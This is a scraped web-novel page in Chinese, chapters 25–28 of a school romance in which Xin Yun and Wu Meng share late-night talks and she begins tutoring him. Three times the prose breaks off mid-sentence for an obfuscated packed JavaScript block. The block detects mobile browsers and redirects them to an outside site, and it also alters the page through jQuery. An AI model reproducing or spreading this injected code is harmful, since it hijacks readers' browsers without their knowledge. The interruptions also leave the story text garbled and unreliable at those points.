就在她觉得气氛变得有些过于暧昧的前一秒,邬蒙收回目光,仰头灌下一口啤酒。 他沉默地喝完了那罐啤酒,将手里的空啤酒罐捏得哗哗作响。 “问你一件事。”邬蒙说。 25. 第 25 章 夜色中,少年略微沙哑的声音听起来有一种别样的沉静味道。 辛蕴望向远处的夜空,目光和心跳一同颤动着。 “嗯。”她点头。 晚风吹拂而过,一旁月季花的枝条轻轻晃动,空气中有甜蜜的花香味。 邬蒙转过头,目光平静地看着院子里醉得东倒西歪的三个人。 他沉默片刻,问道:“你知道我们四个前些天一起参加了一个乐队综艺节目吧?” 辛蕴愣了一下,转头去看邬蒙,表情略微僵硬,然后点点头。 “昨天晚上节目组给我发了消息,说想让我一个人去参加下一阶段的录制。”邬蒙的语气听不出来任何明显的情绪。 辛蕴反应了一会儿,开口道:“哦……这样啊,但那不是一个乐队综艺吗?你一个人怎么参加比赛?” 邬蒙的话一说出口,辛蕴就已经明白了节目组的意思。 其实完全可以理解,参加那个节目的乐队大大小小得有几十个,其中还有几个连辛蕴这个门外汉都听过名字的老牌乐队。 相比之下,邬蒙他们这个由几个高中生组成的乐队完全没有任何优势。除了邬蒙帅气的外表和极具少年气的台风能够吸引一些粉丝的关注之外,他们很难在那些如过江之鲫的实力派乐队中崭露头角,被淘汰也是迟早的事情。 现在节目组只想留邬蒙一个人继续参加节目,恐怕也还是觉得他能够吸引来一些流量。 但是看邬蒙这样子,好像有些犹豫? 他低着头,攥着空啤酒罐的那只手微微用力,啤酒罐发出一阵“咯吱咯吱”的声响。 “不过就是陪衬的背景板而已,我们这种没有特色、没有名气,甚至……”邬蒙闭眼笑了笑,有些自嘲似的,说:“甚至是没有什么实力的乐队,拆了就拆了,没有人会在意。节目组后面应该会安排我加入别的乐队。” 辛蕴沉默了片刻,道:“这样不是很好吗?节目组既然想留你,后面肯定不会再让你只当背景板了。你为什么要犹豫,不应该马上就答应吗?” 邬蒙也想问自己——他为什么会犹豫呢?就像辛蕴说的那样,他应该立刻就答应下来。 邬蒙想,或许是因为这个乐队是他亲手组建起来的。虽然一开始他组建这个乐队的目的是为了跑场子赚钱,但他心里对乐队里的其他几个人都有一份责任感。 现在让他丢下其他三个人,邬蒙过不去自己心里那一关。 看到邬蒙脸上的挣扎和犹豫,辛蕴抿抿唇,说:“人活在世上,肯定要做利己的事情。但并不只有表面上的、能看得见的‘利己’才叫‘利己’。遵从自己的内心、让自己心安也是另一种意义上的‘利己’。你觉得哪一种选择对自己最好,就选哪一种。没什么对错、高低之分。” 说罢,她顿了顿,声音放低了些,继续道:“不管你怎么选,我都支持你。” 辛蕴越说声音越低。不知道是说给她自己听,还是说给他听。 邬蒙转头看了辛蕴一眼,目光在她脸上盘旋片刻,又转头长久地凝视着远处的夜空和夜空下城市的霓虹灯海。 绚烂的灯光倒映在他漆黑的瞳孔里,闪烁不定。 辛蕴坐在一旁,安静地喝着纸杯里的橙汁。 在她慢悠悠地喝完那一杯清甜的橙汁后,邬蒙站了起来。 他随手将那个已经捏得不成形的啤酒罐扔进了一旁的垃圾桶里,扭头看着辛蕴,说:“很晚了,我送你回家吧。” 辛蕴点点头,没有拒绝。 从橙子家出来,两个人走在古城区的小巷子里。 已经快六月了,风里开始有了夏天的气息。 邬蒙的情绪不太高,只是低头安静地走路,似乎是在想心事。 辛蕴想了想,有意活跃下气氛,语气轻快地问他:“你刚才怎么不唱两首?” 邬蒙回过神,转头看着她,嘴角轻勾,道:“唱够了,不想唱了。” “这样啊。” 也是,对于邬蒙这种每天都要跑场子的人来说,让他在吃饭的时候唱歌,可不就相当于强行加班吗? 想到这里,辛蕴眉眼弯弯,半开玩笑道:“再过一段时间听你唱歌是不是就要收门票了?”她语气有些惋惜似的,说:“你唱的那首《在劫难逃》真的很棒,希望以后还能有机会听你现场再唱一遍。” 邬蒙愣了一下,问:“你也看了那个节目?” 其实他后来也在网上搜过这几期节目,他唱这首歌的片段甚至没有被剪进正片里,只是作为一个花絮彩蛋播放,即使在彩蛋里也没多少镜头。 她竟然能发现他在节目里唱了这首歌? 辛蕴点点头。 当然,她何止是看了那个节目,她简直恨不得能逐帧逐帧地分析每个有他的镜头。 邬蒙挑挑眉,转头盯着辛蕴的眼睛,问:“那你觉得我唱得好吗?” 辛蕴再次点头,实话实话:“唱得很好,那首歌很适合你,你把那首歌唱出了不一样的感觉。夸张一点来说,我觉得那首歌就像是为你量身打造的一样。” 其实辛蕴一点没有夸张,她简直无法形容当时她隔着屏幕看到邬蒙背着一把吉他在舞台上唱着那首《在劫难逃》时的惊艳感,她几乎有些嫉妒当时在场的所有人。 有时候对于一个乐队而言,演唱功力和乐器演奏功力都不是最重要的,最重要的是那支乐队整体呈现出来的感觉和带动听众情绪的能力。 而邬蒙在这一方面明显有着惊人的天赋,这也是他为什么只通过短短的几个镜头就能给观众留下印象的原因。除了他出色的外表,和他浑然天成的台风也有很大关系。 邬蒙笑了笑,似乎真的透过辛蕴的话语感受到了她对他那场表演的欣赏以及没有亲自在场的遗憾。 “那你想听我再唱一遍吗?”他问。 “啊?”辛蕴愣了一下,有些意外:“现在?” 邬蒙转头盯着她的双眼。 在辛蕴脸上的表情由错愕变成惊喜和期待的前一秒。 “骗你的,当然不是现在。” 他拿出手机,打开屏幕,递到她面前,说:“加个微信,这个周末我在中心商场有路演活动,到时候通知你。” - 邬蒙把辛蕴送回家后,独自返回了自己的出租屋。 几天前他从容静租的那个两居室里搬了出来,自己在外面重新租了一个小房子。 房子又小又破,但地段要好很多,离一中还有他工作的几个地方都很近。 邬蒙刚踏进房门,口袋里的手机就震动了一下,他低头去看—— 是容静发来的信息。 这些天容静给邬蒙发了很多信息,文字不尽雷同,但中心意思就只有一个——让他搬回家里去。 语气软的硬的都有,就是丝毫不提邬宝刚的事情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832046|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邬蒙有些疲惫地按灭了手机屏幕,走到客厅里的破沙发上坐了下来。 他瘫倒在沙发上放空了一会儿,过了片刻,坐直身体,环顾了一眼眼前这个几乎有些陌生的“家”。 或许是因为这几天情绪不太好,邬蒙给自己安排了很多活,每天都脚不着地地忙着跑场子,这样就没有功夫闲下来去想那些乱七八糟的事情了。 但也正是因为他太忙,没来得及布置这个新住所,留在容静那里的衣服和东西也没有时间搬过来。 此刻房子里面空空荡荡的,什么也没有。除了卧室床上新买的一床被褥昭示着这里有人居住,几乎看不到任何“家”的味道和温情。 忙起来的时候不觉得有什么,可现在闲下来了,一个人坐在这里,难免会觉得有些消极的、悲观的情绪冒出来。 邬蒙搓了搓头发,猛地摇摇头,逼自己行动起来。 只有行动起来才能阻止自己陷入内耗。 他从沙发上站起来,去浴室里冲了一把冷水澡,又搬来一把椅子坐在阳台上吹夜风。 手机屏幕亮着,对话框里是昨天节目组编导给他发的那条消息。 邬蒙抬眼去看外面的夜景。 夜里十点多了,城市华灯初上,街道上车水马龙,那样的灯红酒绿确实让人向往,可在这个角度望过去,他觉得自己就像是一个伶仃的过客。 夜里的风吹散了很多凌乱的思绪。 邬蒙想了想,手指在手机屏幕上轻点,打出一行字,给对面回了过去。 - 辛蕴回到家的时候,吴咏梅已经睡着了。 她轻手轻脚地洗漱完,关上房门,躺在床上,回想着今天的一切。 是梦吗?今天发生的一切简直就像一场梦。 辛蕴趴在床上,将下半张脸埋进柔软的枕头里,她打开手机,再次点开了那一期节目,熟练地拉进度条精准定位到了邬蒙演唱那首《在劫难逃》时的镜头。 屏幕里的少年笑得自信灿烂,他一边弹着吉他一边唱着歌,弹到高.潮部分,他将指尖的吉他拨片放到唇边轻轻咬住,微微皱眉,修长的手指飞快地在琴弦上扫过,一连串音符从他指尖倾泻出来。台下观众的尖叫声源源不断地传过来。他咧嘴一笑,用手指着台下的方向,道:“一起来!” 辛蕴看得热血沸腾,跟着视频小声哼唱着。 从小到大辛蕴都没什么音乐细胞,她用青涩又笨拙的声音轻轻哼着—— “当你走后我终于知道在你面前我在劫难逃 那些照片早已烧成了灰烬那些回忆怎么点也点不着 ……” 刚唱几句,手机突然震动了一下。 屏幕上方突然跳出来一条微信消息—— 【谢谢你。】 没头没脑的一句话。 辛蕴却立马明白了对方的意思。 她将手机贴近胸口,无声地尖叫了一声。 屏幕里的少年还在卖力地演唱着,充满感染力的歌声填满了这个寂静的夜晚。 辛蕴翻身躺在柔软的公主床上。 吴咏梅今天早上说夏天到了,要把辛蕴床上的四件套换成薄款的。 刚洗过的床单散发着阳光和洗衣液混合的香味,辛蕴深深地呼吸了一口这让人满足的清新味道。 夏天要到了。 是啊。 夏天就要到了。 真好。 26. 第 26 章 接下来的半个多月,天气好得出奇,每天都是艳阳高照的晴天。 天气好了,人的心情也会变好。 除了晚上会去餐厅兼职外,邬蒙其余时间几乎一直待在学校里。 那天晚上他委婉地回绝了那个编导的邀请。 邬蒙承认自己这么做或许有些意气用事了,但除了顾及到乐队里其他几个人的感受之外,还有一些别的原因促使他做出这个决定。 从录制节目的第一天开始邬蒙就知道节目组有剧本,但他没想到综艺节目的剧本竟然也和电视剧和电影一样,精确到几分几秒要说什么样的台词。 可想而知,这样所谓的“选秀”节目,最后能够脱颖而出拿到名次的乐队名单肯定也是早已经内定好了的。 如果邬蒙继续参加那个节目,除了从一个镜头不太多的背景板变成一个镜头多一点的背景板之外,应该不会有任何其他的改变。 况且参加那个节目没有任何酬劳,他甚至得倒贴车马费,后期节目录制的周期又很长,邬蒙耗不起那个时间。 容静的采耳店常年亏损,有时候一个月的收入仅仅能够支撑起她自己一个月的生活费。这一年来都是邬蒙在出租金,加上每个月固定要还邬宝刚的一部分赌债。这两座大山压得邬蒙几乎喘不过来气。 虽然邬蒙之前说了以后都不再管他们了,可他又不能真的狠心看着那些五大三粗的汉子天天去容静的店里打砸东西。 除了这些固定支出之外,邬蒙还得要赚自己平时的生活开销,尤其是现在他搬出来了住,房租也是一笔不小的开销。 说到底,邬蒙根本没有经济条件和时间成本去博一个不确定的未来。 对于自己的选择,邬蒙没有明说,辛蕴也很贴心地没有再问起。 在学校的时候两人继续维持着“相敬如宾”的同桌关系。 大概是因为快要到期末了,史振邦这几天十分上心,经常往班里跑,时不时就会突然从窗户旁边冒出一个头来,还铁面无私地没收了不少同学的手机。 今天下午他们班的体育老师又生病了,原本的体育课改成了自习课。 邬蒙正在座位上补觉,史振邦突然走了过来,伸手敲了敲他的课桌,示意他跟自己出去一下。 邬蒙睁开睡意朦胧的眼睛,抬脚跟了上去。 两人走到教室外的走廊里站定。 “你妈今天给我打电话了,她跟我说……”史振邦开门见山道:“你离家出走了?” 劝不动邬蒙,容静只能把电话打到了史振邦这里。 邬蒙有些烦躁地皱起眉,没有答话。 史振邦看着他的脸,沉默了片刻,说:“既然已经从家里搬出来了,那就好好过你自己的生活,以后你也别管你爸你妈那边的事情了。你年纪还小,这么成天在外面混下去也不是办法。要是有时间,把心思多放在学习上面。现在才高一下学期,你加把劲,文化课能跟得上来的。” 似乎是完全没有想到史振邦会说出这样的话,邬蒙愣了一下,一时间竟然不知道该做出什么样的回应。 见少年的表情有些僵硬,史振邦叹了一口气,伸手拍拍邬蒙的肩膀,说:“你妈那边我已经跟她说过了,她以后也不会强迫你搬回去的。以后生活上要是有什么需要帮忙的地方,可以跟我打声招呼。” 邬蒙僵在那里,喉咙像是塞了一团湿棉花似的,说不出来任何话。 或许是不习惯这种温情,也或许是觉得外露自己的真实情绪有些尴尬,他只能保持沉默,用生硬的点头向史振邦示意自己已经感受到了他的关心。 “对了,你那个同桌,那个叫辛蕴的小女孩,她读书很厉害,你没事可以多向她请教请教。”史振邦又补充了一句。 两人转过头,目光同时看向了坐在教室最后一排的辛蕴。 少女穿着校服端端正正地坐在那里低头刷题,一头乌黑浓密的发束成一个干净的马尾,垂在纤长白皙的脖颈后,两种颜色的鲜明对比,越发显得她脸颊处的皮肤清透白净、骨架停匀。 “我已经跟辛蕴打过招呼了,让她平时多帮帮你,以后你要在学习上碰到什么问题,就直接去问她。”史振邦说。 邬蒙收回自己的目光,顿了片刻,说:“好的。” 结束谈话,邬蒙回到了座位上。 辛蕴正在刷着一套文综模拟题,见邬蒙回来,她的目光悄悄往他那边瞥了一眼。 今天早读课上,史振邦特意过来跟她打招呼,说让她平时在学习上多照顾照顾邬蒙。现在史振邦又把邬蒙叫了出去。她几乎不用思考就猜出了两人谈话的内容。 这么说,她现在算是成了邬蒙的“小老师”? 辛蕴心里有些雀跃,她挺直了脊背,坐得愈发端正了。 余光瞥见邬蒙从抽屉肚子里拿出一本英汉大词典。 “啪”的一声,厚重的词典接触到课桌表面,发出一声闷响。 这是要从英语开始? 也是,要学好英语,单词是基础。 辛蕴做好了邬蒙要过来问她词典上那些英语单词读音的准备。 下一秒,邬蒙抱着那个砖头似的的英汉大词典,直接枕在上面继续补觉。 辛蕴握着笔的那只手有些僵硬,僵在那里好几秒,她终于忍不住转头去看邬蒙。 邬蒙竟然背对着她睡着了,他的后脑勺圆圆的,上面的发丝剃得有些短,又硬又粗。就像他这个人,有点孩子气的倔强。 辛蕴攥紧手中的笔,转过头,有些郁闷地继续刷题。 那个下午一如往常,邬蒙趴在座位上补觉。最后一节课的铃声敲响,他再次从教室里消失了。 辛蕴知道邬蒙应该是去餐厅或者酒吧兼职去了。从傍晚六点半开始到第二天凌晨,是他一天当中最忙的时候。 辛蕴背着书包回家吃晚饭。 饭桌上,她突然开口问吴咏梅:“妈,如果我们家现在破产了,你会让我出去打工赚钱吗?” 吴咏梅咽下嘴里的白灼大虾,抬头看着辛蕴,神情有些紧张:“怎么了?你爸咋了?” 辛蕴摇摇头,说:“没事,我就是随便问问。” 吴咏梅的表情像是松了一口气,她白了辛蕴一眼,夹了一块清蒸鲈鱼肉放进她的碗里,说:“你爸只要一天没死就得养着咱们母女俩,你放心,要真有那天,妈就算去要饭也不会让你挨饿的。” 辛蕴夹起碗里的那块鱼肉塞进嘴里。 新鲜的鲈鱼只放了一点蒸鱼豉油,放在锅上蒸熟,就已经足够鲜美。 舌尖品尝着那种细嫩软滑的鱼肉。 辛蕴心里突然冒出来一个问题。 邬蒙吃过晚饭了吗? 由这个问题,她心里又产生一个奇怪的想法—— 如果现在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832047|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能和自己一起吃这道清蒸鲈鱼就好了。 - 今天晚自习数学老师举行了一次模拟考。 考试结束,还没有到晚自习放学的时间,但教室里的人差不多已经全走完了。 辛蕴收拾了一下书包,走出教室,一个人慢慢地朝学校门口走去。 以前她有留在教室里写完当天的功课再回家的习惯,但后来徐慧敏总是隔三差五地来找她麻烦,辛蕴烦不胜烦,没有办法,只好一放学就收拾东西回家。 过两天就是端午节了,吴咏梅今天晚饭的时候和辛蕴商量,说打算回老家一趟看看。 辛东福刚刚给辛蕴发了条消息,说要和她们一起回去。 自从那天的事情之后,辛东福没有再回家,但他给辛蕴发过很多信息,一会儿问辛蕴需不需要零花钱,一会儿又问她这几天过得怎么样,一会儿又说他有个朋友的女儿高中毕业就出国了,问辛蕴有没有这个想法。 对于辛东福这些欲盖弥彰的拙劣“关心”,辛蕴总是回得很冷淡。 她给对面发过去一个简短的“嗯”,然后按灭屏幕,把手机塞进口袋里。 沿街的路灯将斑驳的树影拉得很长,辛蕴踩着那些树影低头往前走。 夜风吹动着栾树的枝叶,那细碎的声音像是沙槌发出的美妙音符。干净整洁的路面上,突然出现了一道影子,一直延伸到她的脚尖。 辛蕴顿住脚步,抬头去看。 邬蒙站在前方不远处,抬头看了过来。 两人的视线交汇,他冲她露出一个淡淡的笑。 辛蕴愣了一下。 邬蒙这是……在等她? “有时间吗?”路灯给少年的轮廓加了一层柔和的光影,他看着她的方向,说:“请你吃个夜宵,可以吗?” - 邬蒙带着辛蕴来到了一家大排档。 夜里十点多,正是这条小吃街最热闹的时候。大排档的生意很好,几乎每个座位上都坐满了顾客。环境嘈杂混乱,空气中弥漫着一股浓烈的食物香气。 来招呼的服务员是个四十左右的阿姨,邬蒙似乎和她很熟,简单地打了个招呼,那个阿姨领着他们俩来到了一个稍微安静些的角落里。 辛蕴坐下来。 邬蒙抽出一张纸巾,擦了擦两人面前的桌面,说:“这是丁丁他爸开的店。” “哦,这样啊。”辛蕴点点头,环顾了一眼四周。 这是一家主打小龙虾的大排档,店门不算大,里面的空间很小,桌子只能摆在外面,看起来很简陋,但环境明亮整洁,一群人挤在一起说说笑笑,喝酒聊天,气氛简直和辛蕴农村老家吃席一样热闹。 “很有烟火气。”辛蕴中肯地评价道。 邬蒙把菜单推到辛蕴面前,说:“你看看想吃点什么。” 辛蕴摇头,把菜单推回去,说:“你来点吧,这里你比较熟,知道什么最好吃。” 邬蒙也不推脱,接过菜单,问:“你能吃辣吗?” 辛蕴点头:“可以。” 邬蒙拿着记号笔在菜单上勾了几下,翻了个面,还要再勾。 辛蕴阻止:“够了,我吃过晚饭了,吃不下太多。” 说这话的时候,辛蕴莫名想起了今天晚上饭桌上的那道清蒸鲈鱼。 她抬眼看着邬蒙,目光停顿几秒,问:“你是有什么事情要跟我说吗?” 27. 第 27 章 邬蒙没有立刻说话,他拿了一瓶橙汁,不急不缓地往辛蕴面前的纸杯里倒。 橙黄色的果汁慢慢汇入洁白的纸杯中。 倒到七分满的时候,他抬眼看着她,说:“我有一件事情想要请你帮忙。” 辛蕴一愣,还没来得及表态。 邬蒙飞快地补充了一句,说:“当然你也完全可以拒绝。” 辛蕴说:“什么忙?你说吧。” 邬蒙放下手里的橙汁,看着她的眼睛,说:“我想重新捡起我的文化课,以后我能不能借你的笔记看?另外如果我有不懂的问题,可以过来问你吗?” 他过于认真的表情和语气把辛蕴逗笑了:“当然可以啊。”她没有想到邬蒙会特地过来找她说这件事,还是用这么正式的语气。 “你……”辛蕴意外之余,也有些好奇,问:“你怎么会突然想要好好学文化课?” 看邬蒙这一副要正式“拜师”的模样,好像确实是下决心了要好好学。 龙虾很快就端了上来,满满一大盆,热腾腾的,鲜红的龙虾上铺满了一层辅料,色泽诱人,香味扑鼻。 邬蒙把手套递给对面的辛蕴,答:“我最近想了一下,觉得还是不能就这么混日子,以后的人生还长,学历是很重要的一个门槛。” 辛蕴接过手套,撕开包装,听到这话,她想了想,抬眼看他,说:“你这话虽然很对,但我不觉得你现在是在外面混日子。理想一点来说,你是在追求你的音乐梦。现实一点来说,你也在磨练你的技能。这个技能同样也能成为你以后吃饭的本领。”她停顿了一下,说:“当然,我也不是说你没有必要学好文化课,学历是其次,多学点东西充实自己总是好的。” 邬蒙挑挑眉,笑着说:“听你这话相当豁达啊。”平时看辛蕴那埋头苦学的样子,他还以为她是一个一板一眼的“书呆子”。 似乎是看穿了他的心思,辛蕴扬了扬嘴角,她低头剥着虾,说:“对我来说,考个好学校当然很重要,这是很浅显的追求。我只是觉得我现在越努力,考的分越高,代表我以后的选择更多,拥有的自由也越多。” 邬蒙的目光落在辛蕴的脸上。 她低着头,额前一圈细碎的发在灯光下看起来毛茸茸的,散发着柔和的光泽,她眉毛的形状很好看,细长有棱角,有一种未经雕琢的美感。 他因为她的话陷入了一阵长久的思考。 “算了,不说那些远的了。”辛蕴将剥好的虾肉塞进嘴里,麻辣鲜香的虾肉多汁弹牙,果然十分美味,她嚼了几下,满足地咽下去,赞道:“真不错。” 邬蒙回过神来,笑了笑,说:“丁丁他爸做龙虾二十多年了,手艺没得说。我小时候就经常过来吃。” “原来这么多年了,难怪客人这么多。”辛蕴转头看了一眼招牌上的价格,顺口说道:“这一盆龙虾竟然只要八十块,放在你们店里估计得要三百多。上次我去你们店里点了一个套餐,里面就一盘龙虾和几个烤串,竟然要……”说到这里,她似乎是意识到了什么,立刻止住话头。 为时已晚,邬蒙已经听到了,他看着辛蕴,眼神里有惊讶也有疑惑,问:“你什么时候去的我们店?” 如果邬蒙没记错的话,他上次只带她去了他工作的酒吧,根本就没提到另一家烧烤店。 辛蕴知道自己说错了话,但后悔也来不及了,她有些尴尬,拿起一只龙虾,低头装死不说话。 邬蒙却不肯轻轻放过,盯着她的脸:“嗯?” 顶着他灼热的目光,辛蕴有些头皮发麻。没办法,她只好把那天她去店里找他的事情一五一十地交代。 “之前有一次我去你们店里过生日,好像看到了你在那里工作。后来有一次刚好路过那附近,我就想顺便进去看看到底是不是你。”她抿了抿嘴,继续道:“没想到真是你。我本来想跟你打招呼的,但是你好像压根都没注意到我。” 辛蕴言简意赅,做了一些言语上的修饰,但想起那天被他完全忽视的失落,她的语气不免有些委屈。 “还有这事?”邬蒙看着辛蕴,脸上的表情显然十分意外,他露出一个抱歉又无奈的笑容,说:“你是什么时候去的我们店?” 辛蕴故作思考,答道:“好像是第二次月考的时候。” 邬蒙皱皱眉,似乎是在思考,但想了半天,脑海中也没有什么印象。他只能继续抱歉地笑,说:“店里每天客人都很多,抱歉,我实在记不起来了,那天可能比较忙,没有注意到你。” 辛蕴也不是有意兴师问罪,顺着他的话开玩笑道:“我看你那天确实挺忙的,是不是只有点歌的人你才会记住?” 邬蒙点点头,接过她的话,笑着道:“你猜对了。” 辛蕴做了一个“ok”的手势:“早说嘛,那我下次去一定点歌。” 气氛还不错,两人说说笑笑,吃完龙虾,已经是夜里十一点多了。 这里离辛蕴家的小区大概两公里左右,两人打算步行回去,正好消消食。 南城市的夜晚很寂静,街道上没有什么行人,两边的梧桐树在昏黄的路灯和夜幕的衬托下看起来像是王家卫电影里的一帧画面。 或许是吴咏梅平时做菜的口味清淡,乍一吃小龙虾这种重口味的东西,辛蕴有些不适应,她走到一半,觉得有些口渴,便拐进了一家便利店买水。 辛蕴挑了两瓶矿泉水,走到柜台前,正要拿出手机买单。 邬蒙却已经等在那里了,他动作十分自然地拿过她手里的两瓶水,连同他自己手里的两包花花绿绿的小零食一起摆在了收银台上。 “结账。”他说。 辛蕴低头去看,发现是两袋Q.Q糖。 她转头去看邬蒙,他侧脸的线条很流畅,因为清瘦,脸颊上几乎没有什么肉,皮肉紧实,骨相完美,难怪上镜那么好看。在灯光下她能清楚地看到邬蒙的皮肤表面上覆盖着一层白色绒毛,看上去有些孩子气。 辛蕴抿了抿唇,嘴角微微上扬。 走出便利店,邬蒙拧开矿泉水瓶的瓶盖,递给辛蕴,又撕下一包Q.Q糖递给她,说:“给你。” 辛蕴犹豫了一下,伸手接过那包Q.Q糖。 “怎么?不喜欢?”邬蒙问。 辛蕴摇摇头,笑着说:“小时候挺喜欢的,但是现在好久没吃了,总觉得是……小孩子吃的东西。” 邬蒙撕开他自己手里的那包Q.Q糖,捻起一颗扔进嘴里,嚼了嚼,说:“谁说只有小孩子能吃?” 辛蕴笑了笑,没跟他争辩,她仰头喝了一口矿泉水。 夜风迎面拂来,一股清甜的水果香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832048|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味从旁边飘过来。 之前上体育课跑步的时候,辛蕴觉得八百米已经是生命不能承受之远,但今天她却觉得两公里的距离实在是太短了。 两人走到辛蕴家小区门口的时候,已经接近零点。 辛蕴回家的时候有些忐忑。 好在吴咏梅没有问太多,辛蕴从小到大都是一个乖乖女,吴咏梅从来不怀疑她会瞒着自己做什么坏事。 洗漱完,辛蕴躺在床上,看着头顶的天花板,把今天两人的对话来回琢磨了好几遍。 听邬蒙话里话外的意思,那天他应该确实是没看到她? 她又想起那天晚上,店里的老板娘夸她好看,当时店里的所有工作人员都看了过来,只有邬蒙坐在那里,目不斜视,只顾着和对面的人聊天。 虽然看起来有些冷漠了,但是不是说明他平时也不乱看别的女生? 这么想着,辛蕴心里又飘起一阵轻盈的、五彩斑斓的情绪。 他给她的那包Q.Q糖还放在床头柜上。 辛蕴瞥了一眼,把脸埋进被子里,在床上滚了好几个圈。 - 第二天,中午午休过后,辛蕴特地提早了四十分钟出发来学校。 为了方便辅导邬蒙,昨晚辛蕴和邬蒙约定好,以后两人要在下午上课之前提前半小时到校。 邬蒙昨晚“拜师”的态度很认真,辛蕴也不能随意对待。她今天早读课上特地写了一个简短的“教案”,又准备了一些习题和补充资料。 在去学校之前,辛蕴先拐去了学校对面的打印店,她打算把自己的各科笔记复印出来直接送给邬蒙,省得他借来借去,来回折腾耽误时间。 笔记有些多,复印出来需要一点时间,辛蕴走到旁边的奶茶店,打算买两杯奶茶。 路过一家拉面店的时候,她眼角余光突然瞥到了一个熟悉的身影。 辛蕴愣了一下,顿住脚步,转头看过去。 王嘉禾? 透过一层玻璃门,辛蕴看到王嘉禾正坐在里面的座位上吃面,她对面坐着一个打扮朴素的妇女,两人面容上有些相似之处,应该是母女关系。 妇女黑着一张脸,满脸不悦,一边吃着面,一边用手指着对面的王嘉禾,两片薄薄的嘴唇上下翻飞,动得飞快。 对面的王嘉禾眼圈瞬间变得通红,似乎很委屈的模样,她一边擦着眼泪一边吃着面。 辛蕴的眼神在两人身上顿了几秒,很快就挪开了。她走到一旁的奶茶店,扫了一眼菜单,点了两杯奶茶。 等奶茶的功夫,手机微信突然跳出来一条消息。 辛蕴低头去看—— 邬蒙发过一张照片,点开一眼,上面是一盆蓝莓和一盆草莓。 【想吃哪个?】 他问。 辛蕴眉眼弯弯,点开对话框正要回复,打字的手突然一顿,像是意识到了什么,她转头去看旁边的一家水果店。 果然。 邬蒙正站在水果摊前,低头挑选着摊上的水果,看模样相当认真。 辛蕴脸上的那个笑容越发灿烂起来,她把手机塞进口袋里,轻手轻脚地绕到邬蒙身后,伸手轻轻地拍了拍他的背。 “草莓吧。” 对上邬蒙惊讶的神情,她的声音透着愉悦和狡黠。 28. 第 28 章 离下午第一节课开始还有半个小时左右,三班的教室里空荡荡的,风从打开的窗户吹了进来。 少男少女坐在教室最后一排的角落里。 窗外,玉兰树在正午的日光下闪闪发亮, “咱们先从哪里开始?”辛蕴问。 邬蒙翻开一本地理图册,指着上面的一页,问:“这个太阳高度角是怎么算的?” 史振邦是地理老师,三班上上下下对于地理这一门学科都格外重视。史振邦当班主任不行,但是教学能力却相当出色。他不像别的学科老师喜欢买各种各样的资料,一本地理图册足以覆盖他所有的教学内容了。 他上课的时候基本只是过一遍课本,主要内容还是围绕着这本地理图册展开,因此几乎三班的每个同学的地理图册上都会记着很多笔记,书皮也多多少少会有些磨损。 但邬蒙手里的这一本地理图册完全就跟新书一样。 辛蕴扫了一眼邬蒙指的地方,想了想,说:“求太阳高度角这个问题最好还是结合实际的题目来讲。”她从书包里翻出一个文件夹,从里面抽出一张试卷,摊在邬蒙面前,说:“你看看这道题。” “某城市位于北纬三十度,当日太阳直射点位于北纬十度,请计算该地当日的正午太阳高度角,并说明该地的季节。” 邬蒙扫了一眼辛蕴指的那道题,沉默了一分钟,在纸上写下了一个“70”,又道:“什么季节我不知道。” 辛蕴有些惊讶,问:“你怎么算出来的?” 邬蒙:“乱猜的。” 辛蕴沉默几秒。 “这道题是典型的求太阳高度角问题。”辛蕴用笔尖指着那道题,说:“其实这道题很简单,首先你要记住一个公式,正午太阳高度角=90—|当地纬度—太阳直射点纬度|,代入进去,当地正午太阳高度角确实是70度,你算得没有错。” “至于当地是什么季节这个问题,其实涉及到一些其他的知识点——太阳直射点在北纬十度,说明太阳直射点在北半球但没有到达北回归线,即北纬二十三度五附近,所以此时北半球处于春分到夏至之间的春季,但已经接近夏季了。也就差不多是我们现在所处的这个季节。” 邬蒙点点头,微微皱眉,似乎在复盘辛蕴刚才说的推理思路。几分钟后,他点点头,说:“我大概知道了。” 辛蕴有些将信将疑地看着他,说:“真的吗?如果不理解我再说一遍也没关系。” 地理这门学科被称为文科中的理科,虽然辛蕴不能完全苟同这种说法,但是她不得不承认,地理确实要比其他纯靠记忆的学科要难一些,尤其是计算太阳高度角这个类型的题目,算是整个高一地理的一个小难点了。 邬蒙再次点头。 辛蕴翻了一下自己的习题册,找出一道类似的题,放在邬蒙跟前,说:“那你再看看这道题,这题比刚才那道题的难度要高一些。” 邬蒙看着那道题,在草稿纸上列出刚才辛蕴说的那个公式,反复计算,虽然花费了一些时间,但他最后确实算对了。 